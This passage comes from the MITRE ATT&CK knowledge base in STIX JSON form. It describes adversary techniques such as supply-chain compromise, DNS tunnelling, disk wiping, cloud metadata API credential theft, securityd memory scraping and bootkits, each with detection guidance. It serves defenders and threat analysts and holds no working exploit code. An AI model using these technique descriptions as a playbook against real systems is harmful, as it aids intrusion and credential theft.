from the rc.common script for unusual or unknown applications or behavior.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["root"], "x_mitre_is_subtechnique": false}, {"modified": "2024-04-13T14:47:31.204Z", "name": "Compromise Software Dependencies and Development Tools", "description": "Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)  \n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}], "x_mitre_deprecated": false, "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["File: File Metadata"], "type": "attack-pattern", "id": "attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720", "created": "2020-03-11T14:13:42.916Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1195/001", "external_id": "T1195.001"}, {"source_name": "Trendmicro NPM Compromise", "description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.", "url": "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421", "type": "attack-pattern", "created": "2020-10-01T02:14:18.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1588.004", "url": "https://attack.mitre.org/techniques/T1588/004"}, {"description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.", "source_name": "DiginotarCompromise", "url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"}, {"source_name": "Let's Encrypt FAQ", "url": "https://letsencrypt.org/docs/faq/", "description": "Let's Encrypt. (2020, April 23). Let's Encrypt FAQ. Retrieved October 15, 2020."}, {"source_name": "Splunk Kovar Certificates 2017", "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html", "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."}, {"source_name": "Recorded Future Beacon Certificates", "url": "https://www.recordedfuture.com/cobalt-strike-servers/", "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020."}], "modified": "2021-10-16T17:44:09.486Z", "name": "Digital Certificates", "description": "Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\n\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\n\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.2", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Certificate: Certificate Registration", "Internet Scan: Response Content"]}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81", "type": "attack-pattern", "created": "2020-10-01T00:40:45.279Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1583.002", "url": "https://attack.mitre.org/techniques/T1583/002"}, {"source_name": "Unit42 DNS Mar 2019", "url": "https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/", "description": "Hinchliffe, A. (2019, March 15). DNS Tunneling: how DNS can be (ab)used by malicious actors. Retrieved October 3, 2020."}], "modified": "2021-04-15T02:49:49.702Z", "name": "DNS Server", "description": "Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.\n\nBy running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-20T18:16:41.942Z", "name": "Disk Wipe", "description": "Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)\n\nOn network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `erase`.(Citation: erase_cmd_cisco)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_contributors": ["Austin Clark, @c2defense"], "x_mitre_deprecated": false, "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the <code>\\\\\\\\.\\\\</code> notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Driver: Driver Load", "Drive: Drive Access", "Command: Command Execution", "Drive: Drive Modification", "Process: Process Creation"], "x_mitre_impact_type": ["Availability"], "type": "attack-pattern", "id": "attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967", "created": "2020-02-20T22:02:20.372Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1561", "external_id": "T1561"}, {"source_name": "erase_cmd_cisco", "description": "Cisco. (2022, August 16). erase - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.", "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/D_through_E.html#wp3557227463"}, {"source_name": "Novetta Blockbuster Destructive Malware", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", "url": "https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"}, {"source_name": "Microsoft Sysmon v6 May 2017", "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.", "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-12-26T20:54:38.721Z", "name": "DNS", "description": "Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_contributors": ["Jan Petrov, Citi", "Chris Heald"], "x_mitre_deprecated": false, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\n\nMonitor for DNS traffic to/from known-bad or suspicious domains.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow"], "type": "attack-pattern", "id": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "created": "2020-03-15T16:27:31.768Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1071/004", "external_id": "T1071.004"}, {"source_name": "Medium DnsTunneling", "description": "Galobardes, R. (2018, October 30). Learn how easy is to bypass firewalls using DNS tunneling (and also how to block it). Retrieved March 15, 2020.", "url": "https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}, {"source_name": "PAN DNS Tunneling", "description": "Palo Alto Networks. (n.d.). What Is DNS Tunneling?. Retrieved March 15, 2020.", "url": "https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-21T13:56:27.910Z", "name": "Cloud Instance Metadata API", "description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Praetorian"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor access to the Instance Metadata API and look for anomalous queries.\n\nIt may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["IaaS"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["User Account: User Account Authentication"], "type": "attack-pattern", "id": "attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3", "created": "2020-02-11T18:47:46.619Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1552/005", "external_id": "T1552.005"}, {"source_name": "AWS Instance Metadata API", "description": "AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019.", "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html"}, {"source_name": "RedLock Instance Metadata API 2018", "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.", "url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse"}, {"source_name": "Krebs Capital One August 2019", "description": "Krebs, B.. (2019, August 19). What We Can Learn from the Capital One Hack. Retrieved March 25, 2020.", "url": "https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-03-29T16:37:34.772Z", "name": "Securityd Memory", "description": "An adversary with root access may gather credentials by reading `securityd`\u2019s memory. `securityd` is a service/daemon responsible for implementing security protocols such as encryption and authorization.(Citation: Apple Dev SecurityD) A privileged adversary may be able to scan through `securityd`'s memory to find the correct sequence of keys to decrypt the user\u2019s logon keychain. This may provide the adversary with various plaintext passwords, such as those for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple\u2019s `securityd` utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor processes and command-line arguments for activity surrounded users searching for credentials or using automated tools to scan memory for passwords.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Access"], "type": "attack-pattern", "id": "attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72", "created": "2020-02-12T18:56:31.051Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1555/002", "external_id": "T1555.002"}, {"source_name": "External to DA, the OS X Way", "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.", "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way"}, {"source_name": "Apple Dev SecurityD", "description": "Apple. (n.d.). Security Server and Security Agent. Retrieved March 29, 2024.", "url": "https://developer.apple.com/library/archive/documentation/Security/Conceptual/Security_Overview/Architecture/Architecture.html"}, {"source_name": "OS X Keychain", "description": "Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.", "url": "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain"}, {"source_name": "OSX Keydnap malware", "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-01-06T12:41:08.579Z", "name": "Group Policy Discovery", "description": "Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)\n\nAdversaries may use commands such as <code>gpresult</code> or various publicly available PowerShell functions, such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code>, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain or Tenant Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor for suspicious use of <code>gpresult</code>. Monitor for the use of PowerShell functions such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code> and processes spawning with command-line arguments containing <code>GPOLocalGroup</code>.\n\nMonitor for abnormal LDAP queries with filters for <code>groupPolicyContainer</code> and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.", "x_mitre_platforms": ["Windows"], "x_mitre_is_subtechnique": false, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_contributors": ["Ted Samuels, Rapid7", "Jonhnathan Ribeiro, 3CORESec, @_w0rk3r"], "x_mitre_data_sources": ["Script: Script Execution", "Active Directory: Active Directory Object Access", "Process: Process Creation", "Command: Command Execution", "Network Traffic: Network Traffic Content"], "type": "attack-pattern", "id": "attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b", "created": "2021-08-06T13:10:12.916Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1615", "external_id": "T1615"}, {"source_name": "ADSecurity GPO Persistence 2016", "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.", "url": "https://adsecurity.org/?p=2716"}, {"source_name": "Microsoft gpresult", "description": "Microsoft. (2017, October 16). gpresult. Retrieved August 6, 2021.", "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult"}, {"source_name": "Github PowerShell Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", "url": "https://github.com/PowerShellEmpire/Empire"}, {"source_name": "TechNet Group Policy Basics", "description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.", "url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:47.417Z", "name": "Bootkit", "description": "Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nA bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Linux", "Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Drive: Drive Modification"], "x_mitre_defense_bypassed": ["Host intrusion prevention systems", "Anti-virus", "File monitoring"], "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "type": "attack-pattern", "id": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba", "created": "2019-12-19T21:05:38.123Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1542/003", "external_id": "T1542.003"}, {"source_name": "Mandiant M Trends 2016", "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019.", "url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf"}, {"source_name": "Lau 2011", "description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.", "url": "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["William Cain"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", "type": "attack-pattern", "created": "2017-05-31T21:30:31.584Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1025", "external_id": "T1025"}], "modified": "2021-10-15T22:17:35.218Z", "name": "Data from Removable Media", "description": "Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. \n\nSome adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_version": "1.2", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Command: Command Execution", "File: File Access"], "x_mitre_system_requirements": ["Privileges to access removable media drive and files"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", "type": "attack-pattern", "created": "2017-05-31T21:31:26.474Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1116", "url": "https://attack.mitre.org/techniques/T1116"}, {"url": "https://en.wikipedia.org/wiki/Code_signing", "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.", "source_name": "Wikipedia Code Signing"}, {"url": "http://www.thesafemac.com/new-signed-malware-called-janicab/", "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.", "source_name": "Janicab"}, {"url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/", "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.", "source_name": "Securelist Digital Certificates"}, {"url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates", "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.", "source_name": "Symantec Digital Certificates"}], "modified": "2020-02-05T18:59:28.671Z", "name": "Code Signing", "description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Windows User Account Control"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--1bae753e-8e52-4055-a66d-2ead90303ca9", "created": "2021-09-22T17:45:10.241Z", "x_mitre_version": "2.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1218.013", "url": "https://attack.mitre.org/techniques/T1218/013"}, {"source_name": "ATT Lazarus TTP Evolution", "url": "https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution", "description": "Fernando Martinez. (2021, July 6). Lazarus campaign TTPs and evolution. Retrieved September 22, 2021."}, {"source_name": "LOLBAS Mavinject", "url": "https://lolbas-project.github.io/lolbas/Binaries/Mavinject/", "description": "LOLBAS. (n.d.). Mavinject.exe. Retrieved September 